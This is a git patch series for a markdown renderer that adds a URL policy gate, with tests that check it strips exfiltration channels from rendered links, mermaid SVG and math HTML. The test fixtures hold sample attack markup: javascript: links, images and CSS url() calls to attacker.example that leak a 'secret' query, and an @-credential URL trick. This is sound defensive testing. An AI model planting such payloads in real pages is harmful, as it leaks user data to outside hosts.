+  target.replaceChildren(...Array.from(holder.childNodes, (node) => doc.importNode(node, true)))
+  return true
+}
diff --git a/src/url-policy.test.ts b/src/url-policy.test.ts
new file mode 100644
index 0000000..e66a27f
--- /dev/null
+++ b/src/url-policy.test.ts
@@ -0,0 +1,256 @@
+// PROTOTYPE (#url-policy). jsdom because the sink gate, the post-sink markup
+// filter and the mermaid hydration path all run over real parsed elements.
+import '../tests/setup-dom-jsdom.ts'
+import { describe, it } from 'node:test'
+import assert from 'node:assert/strict'
+import { withConfig } from './config.ts'
+import { renderMarkdownUnsafe } from './renderer.ts'
+import { sanitizeRenderedMarkdown } from './sanitize.ts'
+import { filterMarkupUrlsString } from './url-filter-markup.ts'
+import { hydratePendingDiagrams, type DiagramRenderer } from './mermaid.ts'
+import type { UrlPolicy, UrlRequest } from './url-policy.ts'
+
+const APP = 'https://app.example.com'
+
+/** A policy that records every request and answers with `decide`. */
+function recordingPolicy(decide: (r: UrlRequest) => string | null): {
+  policy: UrlPolicy
+  seen: UrlRequest[]
+} {
+  const seen: UrlRequest[] = []
+  return {
+    seen,
+    policy: {
+      baseOrigin: APP,
+      createURL(request) {
+        seen.push(request)
+        return decide(request)
+      },
+    },
+  }
+}
+
+/** Block anything the browser would fetch unattended; allow navigation anywhere. */
+const blockSubresources = (r: UrlRequest): string | null =>
+  r.sink === 'navigation' ? (r.url?.href ?? r.raw) : null
+
+const IMG_EXTENSION = { allowedTags: ['img'], allowedAttr: ['src', 'alt'] }
+
+describe('urlPolicy — off by default', () => {
+  it('leaves rendered output byte-identical and stamps no marker', () => {
+    const md = '[docs](https://docs.example.com/p) ![x](https://cdn.example.com/a.png) <https://auto.example.com>'
+    const html = renderMarkdownUnsafe(md)
+    assert.doesNotMatch(html, /data-smd-url-checked/)
+    assert.match(html, /href="https:\/\/docs\.example\.com\/p"/)
+    assert.match(html, /src="https:\/\/cdn\.example\.com\/a\.png"/)
+  })
+})
+
+describe('urlPolicy — the markdown surface', () => {
+  it('sees links, images and autolinks with the right sink', () => {
+    const { policy, seen } = recordingPolicy((r) => r.raw)
+    withConfig({ urlPolicy: policy }, () =>
+      renderMarkdownUnsafe(
+        '[a](https://one.example/) ![b](https://two.example/i.png) <https://three.example/> and https://four.example/',
+      ),
+    )
+    // Sorted: autolinks are linkified in an earlier pass than markdown links, and
+    // that pass order is an implementation detail, not part of the contract.
+    const bySink = seen.map((r) => `${r.sink}:${r.raw}`).sort()
+    assert.deepEqual(bySink, [
+      'image:https://two.example/i.png',
+      'navigation:https://four.example/',
+      'navigation:https://one.example/',
+      'navigation:https://three.example/',
+    ])
+    assert.equal(seen.length, 4, 'each destination is presented exactly once')
+  })
+
+  it('neutralizes a blocked image but keeps its alt, and leaves the link beside it', () => {
+    const { policy } = recordingPolicy(blockSubresources)
+    const html = withConfig({ urlPolicy: policy }, () =>
+      renderMarkdownUnsafe('[keep](https://one.example/) ![drop](https://two.example/i.png)'),
+    )
+    assert.match(html, /href="https:\/\/one\.example\/"/)
+    assert.match(html, /<img alt="drop"/, 'element and alt survive')
+    assert.doesNotMatch(html, /two\.example/, 'nothing is left to fetch')
+  })
+
+  it('emits a rewritten destination — the point of returning a value', () => {
+    const { policy } = recordingPolicy((r) =>
+      r.sink === 'image' ? `${APP}/proxy?u=${encodeURIComponent(r.raw)}` : r.raw,
+    )
+    const html = withConfig({ urlPolicy: policy, sanitizeExtension: IMG_EXTENSION }, () =>
+      sanitizeRenderedMarkdown(renderMarkdownUnsafe('![x](https://cdn.example.com/a.png)')),
+    )
+    assert.match(html, /src="https:\/\/app\.example\.com\/proxy\?u=https%3A%2F%2Fcdn\.example\.com%2Fa\.png"/)
+  })
+
+  it('hands the policy a canonical URL, so credential tricks cannot fool a prefix test', () => {
+    const { policy, seen } = recordingPolicy((r) => r.raw)
+    withConfig({ urlPolicy: policy }, () =>
+      renderMarkdownUnsafe('[x](https://good.example.com@evil.example/path)'),
+    )
+    assert.equal(seen[0]?.url?.origin, 'https://evil.example')
+    assert.doesNotMatch(seen[0]?.url?.href ?? '', /good\.example\.com/)
+  })
+
+  it('resolves a relative destination against baseOrigin', () => {
+    const { policy, seen } = recordingPolicy((r) => r.raw)
+    withConfig({ urlPolicy: policy }, () => renderMarkdownUnsafe('[x](/docs/page)'))
+    assert.equal(seen[0]?.url?.href, `${APP}/docs/page`)
+  })
+})
+
+describe('urlPolicy — the scheme allowlist stays a floor', () => {
+  it('never presents a javascript: destination to the policy', () => {
+    const { policy, seen } = recordingPolicy((r) => r.raw)
+    const html = withConfig({ urlPolicy: policy }, () =>
+      renderMarkdownUnsafe('[x](javascript:alert(1)) [y](https://ok.example/)'),
+    )
+    assert.deepEqual(
+      seen.map((r) => r.raw),
+      ['https://ok.example/'],
+    )
+    // The rejected destination stays literal text (no link is built at all), so
+    // the assertion is about live attributes, not the substring.
+    assert.doesNotMatch(html, /href="javascript:/)
+    assert.match(html, /\[x\]\(javascript:alert\(1\)\)/, 'left as literal text')
+  })
+
+  it('cannot be talked into a dangerous scheme by a policy that returns one', () => {
+    // The policy tries to swap a safe destination for a scriptable one. This has
+    // to fail on the UNSANITIZED path too, or the guarantee is really just the
+    // sink's, and post-sink diagram markup would have no floor at all.
+    const policy: UrlPolicy = { createURL: () => 'javascript:alert(1)' }
+    const unsafe = withConfig({ urlPolicy: policy }, () =>
+      renderMarkdownUnsafe('[x](https://ok.example/)'),
+    )
+    assert.doesNotMatch(unsafe, /javascript:/)
+    assert.match(unsafe, /<a[^>]*>x<\/a>/, 'anchor kept, destination dropped')
+
+    const svg = withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString('<svg><a xlink:href="https://ok.example/"><text>x</text></a></svg>', 'diagram'),
+    )
+    assert.doesNotMatch(svg, /javascript:/)
+  })
+})
+
+describe('urlPolicy — raw HTML passthrough', () => {
+  it('gates a destination that never met the inline emitters', () => {
+    const { policy, seen } = recordingPolicy(blockSubresources)
+    const html = withConfig({ urlPolicy: policy }, () =>
+      sanitizeRenderedMarkdown(renderMarkdownUnsafe('<a href="https://raw.example/?leak=1">x</a>')),
+    )
+    assert.deepEqual(
+      seen.map((r) => r.raw),
+      ['https://raw.example/?leak=1'],
+    )
+    assert.match(html, /<a[^>]*>x<\/a>/)
+  })
+
+  it('does not present a renderer-emitted destination twice', () => {
+    const { policy, seen } = recordingPolicy((r) => r.raw)
+    withConfig({ urlPolicy: policy }, () =>
+      sanitizeRenderedMarkdown(renderMarkdownUnsafe('[x](https://one.example/)')),
+    )
+    assert.equal(seen.length, 1)
+  })
+
+  it('never leaks the internal marker into sanitized output', () => {
+    const { policy } = recordingPolicy((r) => r.raw)
+    const html = withConfig({ urlPolicy: policy }, () =>
+      sanitizeRenderedMarkdown(renderMarkdownUnsafe('[x](https://one.example/) <https://two.example/>')),
+    )
+    assert.doesNotMatch(html, /data-smd-url-checked/)
+  })
+})
+
+describe('urlPolicy — post-sink markup (mermaid SVG shape)', () => {
+  // The real shapes mermaid 11 emits: an HTML label inside <foreignObject>, an
+  // injected themeCSS <style>, a click-directive <a xlink:href>, and the marker
+  // fragment refs every diagram carries.
+  const SVG =
+    '<svg>' +
+    '<style>.nodeLabel { background-image: url(https://attacker.example/css); }' +
+    '.edge { marker-end: url(#arrow-end); }</style>' +
+    '<a xlink:href="https://attacker.example/click"><text>x</text></a>' +
+    '<image href="https://attacker.example/pixel.png"/>' +
+    '<use href="#node-shape"/>' +
+    '<foreignObject><div xmlns="http://www.w3.org/1999/xhtml">' +
+    '<img src="https://attacker.example/leak?d=secret">' +
+    '</div></foreignObject>' +
+    '</svg>'
+
+  it('strips every automatic fetch, including through foreignObject and CSS', () => {
+    const { policy } = recordingPolicy(blockSubresources)
+    const out = withConfig({ urlPolicy: policy }, () => filterMarkupUrlsString(SVG, 'diagram'))
+    assert.doesNotMatch(out, /attacker\.example\/leak/, 'foreignObject <img> src')
+    assert.doesNotMatch(out, /attacker\.example\/pixel/, 'SVG <image href>')
+    assert.doesNotMatch(out, /attacker\.example\/css/, 'url() in <style>')
+    assert.match(out, /about:blank/, 'blocked url() is neutralized, not emptied')
+  })
+
+  it('preserves same-document fragment refs, or every arrowhead disappears', () => {
+    const { policy, seen } = recordingPolicy(blockSubresources)
+    const out = withConfig({ urlPolicy: policy }, () => filterMarkupUrlsString(SVG, 'diagram'))
+    assert.match(out, /url\(#arrow-end\)/)
+    assert.match(out, /href="#node-shape"/)
+    assert.equal(
+      seen.some((r) => r.raw.startsWith('#')),
+      false,
+      'the policy is not even consulted for bare fragments',
+    )
+  })
+
+  it('classifies a click-directive anchor as navigation, not a fetch', () => {
+    const { policy, seen } = recordingPolicy(blockSubresources)
+    const out = withConfig({ urlPolicy: policy }, () => filterMarkupUrlsString(SVG, 'diagram'))
+    const anchor = seen.find((r) => r.element === 'a')
+    assert.equal(anchor?.sink, 'navigation')
+    assert.equal(anchor?.source, 'diagram')
+    assert.match(out, /attacker\.example\/click/, 'navigation survives this policy')
+  })
+
+  it('is a no-op with no policy installed', () => {
+    assert.equal(filterMarkupUrlsString(SVG, 'diagram'), filterMarkupUrlsString(SVG, 'diagram'))
+    const out = filterMarkupUrlsString(SVG, 'diagram')
+    assert.match(out, /attacker\.example\/leak/)
+  })
+})
+
+describe('urlPolicy — mermaid hydration end to end', () => {
+  const MERMAID_MD = '```mermaid\ngraph TD\nA[Start] --> B[End]\n```'
+  const EVIL_SVG =
+    '<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml">' +
+    '<img src="https://attacker.example/leak?d=secret"></div></foreignObject>' +
+    '<use href="#marker"/></svg>'
+
+  function pendingHost(): HTMLElement {
+    const host = document.createElement('div')
+    host.innerHTML = renderMarkdownUnsafe(MERMAID_MD)
+    return host
+  }
+
+  const stub: DiagramRenderer = { render: () => Promise.resolve({ svg: EVIL_SVG }) }
+
+  it('filters the backend SVG before it reaches the container', async () => {
+    const { policy } = recordingPolicy(blockSubresources)
+    const host = pendingHost()
+    const count = await hydratePendingDiagrams(host, { renderer: stub, urlPolicy: policy })
+
+    assert.equal(count, 1)
+    assert.equal(host.querySelector('img')?.hasAttribute('src'), false)
+    assert.ok(host.querySelector('.mermaid-diagram--rendered'), 'still marked rendered')
+    assert.equal(host.querySelector('use')?.getAttribute('href'), '#marker')
+  })
+
+  it('leaves the SVG untouched when no policy is supplied', async () => {
+    const host = pendingHost()
+    await hydratePendingDiagrams(host, { renderer: stub })
+    assert.equal(
+      host.querySelector('img')?.getAttribute('src'),
+      'https://attacker.example/leak?d=secret',
+    )
+  })
+})
diff --git a/src/url-policy.ts b/src/url-policy.ts
new file mode 100644
index 0000000..adf6383
--- /dev/null
+++ b/src/url-policy.ts
@@ -0,0 +1,283 @@
+import { activeConfig } from './config.ts'
+
+// PROTOTYPE (#url-policy): one host-controlled gate every URL the renderer is
+// about to emit passes through — modelled on the `TrustedURL` type Trusted Types
+// dropped in w3c/trusted-types#65.
+//
+// TrustedURL died for two reasons: enforcing it across the platform's unbounded
+// URL sink surface broke too much ("linking to other content is common in the
+// web"), and the residual non-XSS risks — off-site navigation, third-party
+// subresource loads, stylesheet-based exfiltration — were delegated to CSP's
+// `*-src` directives. Neither objection transfers to a markdown renderer:
+//
+//   - the sink surface here is small and enumerable, because this package emits
+//     it. Every URL-bearing position routes through `applyUrlPolicy`, so
+//     "the policy sees every URL" is a property the package can actually hold.
+//   - a library cannot set the host's CSP, so the delegation target does not
+//     exist at this layer. That is exactly why mermaid's post-sink SVG can
+//     exfiltrate today (`<img>` inside `<foreignObject>`, `url()` in an injected
+//     `<style>`) with an origin policy installed and no effect.
+//
+// The synthesis the issue points at: the platform concluded it should simply
+// hard-block `javascript:` after parsing, rather than ask developers to sanitize
+// every `href`. So that stays the FLOOR here — the scheme allowlist
+// (`safeLinkHref` / `isAllowedHref`) runs first and a host policy cannot lift it.
+// Everything *above* the floor is the developer's, which is what TrustedURL
+// offered and what this package has no way to express today.
+//
+// Off by default: with no policy installed every call is one null check and
+// returns the URL unchanged, so output stays byte-identical (the package
+// invariant).
+
+/**
+ * What the URL is about to be used for. The distinction TrustedURL lacked, and
+ * a large part of why it was unusable: a cross-origin destination is ordinary
+ * for a link the reader chooses to follow, and an unattended exfiltration
+ * channel for a subresource the browser fetches on its own.
+ */
+export type UrlSink =
+  /** A destination the reader must act on: `<a href>`, SVG `<a xlink:href>`. */
+  | 'navigation'
+  /** Fetched automatically on render: `<img src>`, SVG `<image href>`, `<use>`. */
+  | 'image'
+  /** A `url()` inside a `<style>` element or a `style` attribute — also automatic. */
+  | 'style'
+
+/** Which tier of markup the URL came from. */
+export type UrlSource =
+  /** The markdown renderer's own output, or raw HTML passed through it. */
+  | 'markdown'
+  /** Diagram-backend output injected after the sink (mermaid SVG). */
+  | 'diagram'
+  /** Math-backend output injected after the sink (KaTeX HTML). */
+  | 'math'
+
+/** One URL presented to {@link UrlPolicy.createURL} for a decision. */
+export interface UrlRequest {
+  /** The destination exactly as it appears in the markup, before any rewriting. */
+  raw: string
+  /**
+   * `raw` resolved and canonicalized by the WHATWG URL parser, with any embedded
+   * credentials stripped — the string the browser would actually act on — or
+   * `null` when it does not resolve to a URL at all.
+   *
+   * Compare against THIS, not against {@link raw}. Prefix-matching a raw string
+   * is where origin allowlists get bypassed: `https://good.com@evil.com` starts
+   * with `https://good.com` but navigates to evil.com, and case-folding, `\` for
+   * `/`, scheme-relative `//host`, and unicode host confusables all read as
+   * something they are not. The parser folds every one of those.
+   */
+  url: URL | null
+  /** What the URL will be used for — see {@link UrlSink}. */
+  sink: UrlSink
+  /** Which tier of markup produced it — see {@link UrlSource}. */
+  source: UrlSource
+  /** Lowercased tag name the URL lands on, when known (`a`, `img`, `image`, `use`). */
+  element?: string
+  /** Attribute name it lands on, when known (`href`, `xlink:href`, `src`). */
+  attribute?: string
+}
+
+/**
+ * Host policy consulted for every URL this package emits. Supply per render via
+ * `MarkdownConfig.urlPolicy`; `null` (the default) disables it entirely and
+ * every URL is emitted unchanged.
+ *
+ * `createURL` returns the URL to use — which need not be the one it was given —
+ * or `null` to block it. Returning a value rather than a boolean is the point of
+ * the TrustedURL shape: a host can proxy a subresource through its own fetcher,
+ * or keep the origin and drop the query, which is where an exfiltrated payload
+ * almost always rides.
+ *
+ * ```ts
+ * renderMarkdown(md, {
+ *   urlPolicy: {
+ *     baseOrigin: 'https://app.example.com',
+ *     createURL: ({ url, sink }) =>
+ *       sink === 'navigation'
+ *         ? (url?.href ?? null)                                    // links: anywhere
+ *         : url?.origin === 'https://app.example.com' ? url.href : null, // fetches: same-origin
+ *   },
+ * })
+ * ```
+ *
+ * **Synchronous.** The render pass is synchronous, so `createURL` cannot await a
+ * remote allowlist. Resolve that data before rendering.
+ *
+ * **Not a scheme gate.** `javascript:`/`data:`/`vbscript:` are rejected by the
+ * scheme allowlist before a policy ever sees them, and a policy cannot admit
+ * them by returning them — keep scheme decisions in `safeHrefSchemes`.
+ */
+export interface UrlPolicy {
+  createURL(request: UrlRequest): string | null
+  /**
+   * Absolute origin (e.g. `https://app.example.com`) that relative destinations
+   * are resolved against to produce {@link UrlRequest.url}. Defaults to the
+   * document's base URI in a DOM, and when neither is available a relative
+   * destination arrives with `url: null` (the policy still decides).
+   */
+  baseOrigin?: string
+}
+
+/**
+ * Resolve and canonicalize for comparison: run the WHATWG parser (optionally
+ * against `base`) and drop any embedded credentials. Returns `null` when the
+ * value is not a resolvable URL.
+ */
+function canonicalizeUrl(raw: string, base: string | undefined): URL | null {
+  let url: URL
+  try {
+    url = base === undefined ? new URL(raw) : new URL(raw, base)
+  } catch {
+    return null
+  }
+  if (url.username || url.password) {
+    url.username = ''
+    url.password = ''
+  }
+  return url
+}
+
+/** The document's base URI when there is a DOM, so relative refs resolve by default. */
+function ambientBase(): string | undefined {
+  return typeof document === 'undefined' ? undefined : document.baseURI
+}
+
+/**
+ * Present one URL to the active {@link UrlPolicy} and return what should be
+ * emitted, or `null` when the policy blocks it. A no-op returning `raw` when no
+ * policy is installed.
+ *
+ * Same-document fragment references (`#footnote-1`, `url(#arrowhead)`) are
+ * returned unchecked: they cannot leave the document, they are not a channel,
+ * and mermaid emits a handful per diagram for its marker definitions — blocking
+ * them removes every arrowhead in the output.
+ */
+/**
+ * Default URL schemes permitted on a link/image destination. Anything carrying
+ * a scheme outside the active set — `javascript:`, `data:`, `vbscript:`,
+ * `file:`, and every unknown scheme — is rejected. An allowlist fails *closed*:
+ * a new dangerous scheme is blocked by default, unlike a denylist that only
+ * knows the three it was told about. Relative/absolute paths, fragments, and
+ * query-only destinations carry no scheme and are always allowed.
+ */
+export const DEFAULT_SAFE_HREF_SCHEMES: readonly string[] = [
+  'http',
+  'https',
+  'mailto',
+  'tel',
+  'sms',
+  'ftp',
+  'ftps',
+]
+
+const HREF_SCHEME_RE = /^([a-zA-Z][a-zA-Z0-9+.-]*):/
+
+const DEFAULT_SAFE_HREF_SCHEMES_SET: ReadonlySet<string> = new Set(DEFAULT_SAFE_HREF_SCHEMES)
+
+// `config.safeHrefSchemes` is an arbitrary iterable of possibly-mixed-case scheme
+// names; resolve it to a lowercased Set once per distinct config value (the read
+// runs per link/image destination).
+let cachedSchemesSource: Iterable<string> | null | undefined
+let cachedSchemes: ReadonlySet<string> = DEFAULT_SAFE_HREF_SCHEMES_SET
+function activeSafeHrefSchemes(): ReadonlySet<string> {
+  const source = activeConfig().safeHrefSchemes
+  if (source == null) return DEFAULT_SAFE_HREF_SCHEMES_SET
+  if (source !== cachedSchemesSource) {
+    cachedSchemesSource = source
+    cachedSchemes = new Set(Array.from(source, (scheme) => scheme.toLowerCase()))
+  }
+  return cachedSchemes
+}
+
+/**
+ * The scheme allowlist currently enforced by {@link safeLinkHref}.
+ *
+ * @internal Introspection getter that reads the ambient render config; outside
+ * a render it returns {@link DEFAULT_SAFE_HREF_SCHEMES}. Not part of the stable v1
+ * surface (#147) — scope behaviour via `MarkdownConfig.safeHrefSchemes` instead
+ * (the default constant stays stable). Not exported from the package entry since 1.0.
+ */
+export function getSafeHrefSchemes(): string[] {
+  return [...activeSafeHrefSchemes()]
+}
+
+/**
+ * True when `href` is a relative destination or carries an allowlisted scheme.
+ * Exported so angle autolinks share the exact allowlist markdown links use
+ * (#139) — autolink destinations are verbatim (no escapes to decode first).
+ */
+export function isAllowedHref(href: string): boolean {
+  const scheme = HREF_SCHEME_RE.exec(href)?.[1]
+  return scheme === undefined || activeSafeHrefSchemes().has(scheme.toLowerCase())
+}
+
+// The emphasis pass probes for link boundaries by rendering a candidate link and
+// keeping only its end offset (`linkOrImageEndAt`). That markup is discarded, so
+// presenting its URLs to the host would double every call, over-report in a
+// policy that counts or logs, and let a host decision change how emphasis pairs.
+// Suppressed during a probe; nested renders inside one are probes too.
+let probing = false
+
+/** Run `fn` with the policy suppressed — for markup that is parsed and thrown away. @internal */
+export function withUrlPolicySuppressed<T>(fn: () => T): T {
+  const previous = probing
+  probing = true
+  try {
+    return fn()
+  } finally {
+    probing = previous
+  }
+}
+
+export function applyUrlPolicy(
+  raw: string,
+  sink: UrlSink,
+  source: UrlSource,
+  element?: string,
+  attribute?: string,
+): string | null {
+  if (probing) return raw
+  const policy = activeConfig().urlPolicy
+  if (!policy) return raw
+  if (raw.startsWith('#')) return raw
+  const decided = policy.createURL({
+    raw,
+    url: canonicalizeUrl(raw, policy.baseOrigin ?? ambientBase()),
+    sink,
+    source,
+    ...(element === undefined ? {} : { element }),
+    ...(attribute === undefined ? {} : { attribute }),
+  })
+  // The floor applies to the policy's answer, not just its question: a host
+  // cannot hand back `javascript:` (or any scheme outside `safeHrefSchemes`) and
+  // have it emitted. Without this the guarantee holds only on the sanitized path,
+  // where the sink happens to catch it — not for `renderMarkdownUnsafe`, and not
+  // for post-sink diagram markup, which never reaches the sink at all.
+  if (decided !== null && !isAllowedHref(decided)) return null
+  return decided
+}
+
+/** Whether a {@link UrlPolicy} is installed for the current render. */
+export function hasUrlPolicy(): boolean {
+  return activeConfig().urlPolicy != null
+}
+
+/**
+ * Marker the inline emitters stamp on an `<a>`/`<img>` whose destination the
+ * policy has already decided, and that the sink gate consumes and removes.
+ *
+ * Without it the gate cannot tell a renderer-emitted link from one that arrived
+ * as raw HTML passthrough — they serialize identically — and would present every
+ * markdown URL to `createURL` a second time. That is harmless for a policy that
+ * only allows or blocks, and wrong for one that rewrites: a host proxying
+ * subresources would get `proxy?u=proxy?u=…`. The attribute exists only while a
+ * policy is installed and never survives the sink, so output is unchanged when
+ * the feature is off.
+ */
+export const URL_POLICY_MARKER_ATTR = 'data-smd-url-checked'
+
+/** The marker as an attribute fragment for the string emitters, or `''` when no policy is active. */
+export function urlPolicyMarkerAttr(): string {
+  return hasUrlPolicy() ? ` ${URL_POLICY_MARKER_ATTR}=""` : ''
+}
diff --git a/tests/setup-dom-jsdom.ts b/tests/setup-dom-jsdom.ts
index afb29b5..7899c64 100644
--- a/tests/setup-dom-jsdom.ts
+++ b/tests/setup-dom-jsdom.ts
@@ -16,6 +16,9 @@ Object.assign(globalThis, {
   Element: win.Element,
   HTMLElement: win.HTMLElement,
   Node: win.Node,
+  // Needed by the post-sink URL filter, which parses markup in an inert
+  // (browsing-context-free) document before deciding what may be injected.
+  DOMParser: win.DOMParser,
 })
 
 // jsdom has no native Sanitizer API (`Element.setHTML`), so the default backend

From 1e8549a8c5fc5da043438bf6f1c8a6416c485e5e Mon Sep 17 00:00:00 2001
From: Jonathan Kingston <KingstonMailBox@gmail.com>
Date: Thu, 27 Aug 2026 12:52:25 +0100
Subject: [PATCH 2/3] test(url-policy): cover the new branches, and bump the
 core size budget
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fixes the two failing checks on #255.

`build` was the coverage gate, not compilation: the new modules left
`filterSrcset`, the `srcset` and `style`-attribute branches of the markup
walker, `canonicalizeUrl`'s unparseable-input path, and the math hydration
policy branch unexecuted, dropping line coverage to 99.84% against a 99.98%
baseline. Added tests for each rather than lowering the baseline — per-candidate
srcset filtering, `url()` in a `style` attribute, a `url: null` request for a
destination that does not resolve, math hydration with and without a policy, and
a set of filter edge cases (empty values, quoted `url()` forms, in-place
rewrites, non-URL attributes). Mirroring CI locally (with the GFM spec fixture
fetched, so the conformance suite runs) the gate now reports 99.98%, +0.00%.

One of those tests found a caveat worth documenting: `filterMarkupUrlsString`
re-serializes, so its output is not byte-identical to its input even when
nothing is filtered (`<image/>` comes back as `<image></image>`). Semantics are
preserved; the node path avoids the round trip entirely. Noted on the function.

`size` was the core bundle at 37506 gzip against a 37000 budget (+1099, ~3%),
because the post-sink walker reaches the core entry through `mermaid.ts`.
Bumped only the `.` entry, to the file's documented ~5% headroom. Deliberately
NOT `npm run size:update`, which re-measures every entry and would have
tightened six unrelated budgets in a PR that has nothing to do with them.

This records the growth; it does not settle it. Keeping the walker out of the
core bundle (behind the `/diagrams/*` and `/math/*` subpaths, so hosts without a
policy don't pay for it) is still the open question flagged on the PR.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
---
 scripts/bundle-size-budget.json |   2 +-
 src/url-filter-markup.ts        |   4 ++
 src/url-policy.test.ts          | 120 ++++++++++++++++++++++++++++++++
 3 files changed, 125 insertions(+), 1 deletion(-)

diff --git a/scripts/bundle-size-budget.json b/scripts/bundle-size-budget.json
index dc223e4..7d0c5ff 100644
--- a/scripts/bundle-size-budget.json
+++ b/scripts/bundle-size-budget.json
@@ -13,7 +13,7 @@
   "entries": {
     ".": {
       "file": "dist/index.js",
-      "gzipBudget": 37000
+      "gzipBudget": 39390
     },
     "./inline/emoji": {
       "file": "dist/emoji-shortcodes.js",
diff --git a/src/url-filter-markup.ts b/src/url-filter-markup.ts
index 89e8f0f..6bf075d 100644
--- a/src/url-filter-markup.ts
+++ b/src/url-filter-markup.ts
@@ -175,6 +175,10 @@ function parseInert(html: string): Element | null {
  * `transformSvg` / `transformHtml` by hand, or serializing outside a DOM sink.
  * Prefer the node path ({@link parseAndFilterMarkup}) where the markup is going
  * straight into an element — it avoids the re-parse and the injection sink.
+ *
+ * Note this path re-serializes: even with nothing filtered the output is not
+ * byte-identical to the input (`<image/>` comes back as `<image></image>`, and
+ * attribute quoting is normalized). Semantics are preserved; exact bytes are not.
  */
 export function filterMarkupUrlsString(html: string, source: UrlSource): string {
   const holder = parseAndFilterMarkup(html, source)
diff --git a/src/url-policy.test.ts b/src/url-policy.test.ts
index e66a27f..00892fd 100644
--- a/src/url-policy.test.ts
+++ b/src/url-policy.test.ts
@@ -8,6 +8,7 @@ import { renderMarkdownUnsafe } from './renderer.ts'
 import { sanitizeRenderedMarkdown } from './sanitize.ts'
 import { filterMarkupUrlsString } from './url-filter-markup.ts'
 import { hydratePendingDiagrams, type DiagramRenderer } from './mermaid.ts'
+import { hydratePendingMath, type MathRenderer } from './math.ts'
 import type { UrlPolicy, UrlRequest } from './url-policy.ts'
 
 const APP = 'https://app.example.com'
@@ -254,3 +255,122 @@ describe('urlPolicy — mermaid hydration end to end', () => {
     )
   })
 })
+
+describe('urlPolicy — the rest of the URL-bearing surface', () => {
+  it('polices each srcset candidate independently', () => {
+    const { policy } = recordingPolicy((r) =>
+      r.raw.includes('ok.example') ? r.raw : null,
+    )
+    const out = withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString(
+        '<img srcset="https://ok.example/1x.png 1x, https://bad.example/2x.png 2x">',
+        'diagram',
+      ),
+    )
+    assert.match(out, /srcset="https:\/\/ok\.example\/1x\.png 1x"/)
+    assert.doesNotMatch(out, /bad\.example/)
+  })
+
+  it('drops the srcset attribute when no candidate survives', () => {
+    const { policy } = recordingPolicy(() => null)
+    const out = withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString('<img srcset="https://bad.example/2x.png 2x">', 'diagram'),
+    )
+    assert.doesNotMatch(out, /srcset/)
+  })
+
+  it('neutralizes url() in a style attribute, not just a <style> element', () => {
+    const { policy, seen } = recordingPolicy(blockSubresources)
+    const out = withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString(
+        '<div style="background-image: url(https://attacker.example/x)">y</div>',
+        'diagram',
+      ),
+    )
+    assert.doesNotMatch(out, /attacker\.example/)
+    assert.match(out, /about:blank/)
+    assert.equal(seen[0]?.sink, 'style')
+  })
+
+  it('hands the policy url: null when the destination does not resolve', () => {
+    const seen: UrlRequest[] = []
+    // An empty baseOrigin is a base the URL parser rejects, so a relative
+    // destination resolves to nothing — the policy still gets to decide.
+    const policy: UrlPolicy = {
+      baseOrigin: '',
+      createURL(request) {
+        seen.push(request)
+        return request.raw
+      },
+    }
+    withConfig({ urlPolicy: policy }, () => renderMarkdownUnsafe('[x](/relative/page)'))
+    assert.equal(seen[0]?.url, null)
+    assert.equal(seen[0]?.raw, '/relative/page')
+  })
+})
+
+describe('urlPolicy — math hydration', () => {
+  const MATH_MD = '```math\nE = mc^2\n```'
+  const EVIL_HTML = '<span class="katex"><img src="https://attacker.example/leak"></span>'
+  const stub: MathRenderer = { render: () => Promise.resolve({ html: EVIL_HTML }) }
+
+  function pendingHost(): HTMLElement {
+    const host = document.createElement('div')
+    host.innerHTML = renderMarkdownUnsafe(MATH_MD)
+    return host
+  }
+
+  it('filters backend HTML before it reaches the element', async () => {
+    const { policy } = recordingPolicy(blockSubresources)
+    const host = pendingHost()
+    const count = await hydratePendingMath(host, { renderer: stub, urlPolicy: policy })
+
+    assert.equal(count, 1)
+    assert.equal(host.querySelector('img')?.hasAttribute('src'), false)
+    assert.ok(host.querySelector('.math-block--rendered'))
+  })
+
+  it('leaves it untouched when no policy is supplied', async () => {
+    const host = pendingHost()
+    await hydratePendingMath(host, { renderer: stub })
+    assert.equal(host.querySelector('img')?.getAttribute('src'), 'https://attacker.example/leak')
+  })
+})
+
+describe('urlPolicy — filter edge cases', () => {
+  const filter = (markup: string, decide: (r: UrlRequest) => string | null): string => {
+    const { policy } = recordingPolicy(decide)
+    return withConfig({ urlPolicy: policy }, () => filterMarkupUrlsString(markup, 'diagram'))
+  }
+
+  it('leaves an empty attribute and an empty url() alone', () => {
+    const out = filter('<img src=""><div style="background: url()">x</div>', () => null)
+    assert.match(out, /src=""/, 'nothing to decide, nothing removed')
+    assert.match(out, /url\(\)/)
+  })
+
+  it('handles quoted url() forms and rewrites in place', () => {
+    const out = filter(
+      `<style>a { background: url("https://cdn.example/a.png"); } b { background: url('https://cdn.example/b.png'); }</style>`,
+      (r) => r.raw.replace('cdn.example', 'proxy.example'),
+    )
+    assert.match(out, /url\("https:\/\/proxy\.example\/a\.png"\)/)
+    assert.match(out, /url\("https:\/\/proxy\.example\/b\.png"\)/)
+  })
+
+  it('preserves every URL when the policy returns each one unchanged', () => {
+    // Not byte-identical: the STRING path re-serializes (`<image/>` comes back as
+    // `<image></image>`), which is why the node path is preferred for a DOM sink.
+    const markup =
+      '<svg><image href="https://cdn.example/a.png"/><style>a{background:url(https://cdn.example/b.png)}</style></svg>'
+    const out = filter(markup, (r) => r.raw)
+    assert.match(out, /href="https:\/\/cdn\.example\/a\.png"/)
+    assert.match(out, /url\(https:\/\/cdn\.example\/b\.png\)/)
+  })
+
+  it('skips an empty <style> and non-URL attributes', () => {
+    const out = filter('<style></style><div class="x" data-y="z">t</div>', () => null)
+    assert.match(out, /class="x"/)
+    assert.match(out, /data-y="z"/)
+  })
+})

From e48dc811623858519e5b0f2869b87b1e8934e004 Mon Sep 17 00:00:00 2001
From: Jonathan Kingston <KingstonMailBox@gmail.com>
Date: Thu, 27 Aug 2026 17:20:38 +0100
Subject: [PATCH 3/3] fix(url-policy): close three unpoliced URL sinks, and
 guard against the next
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

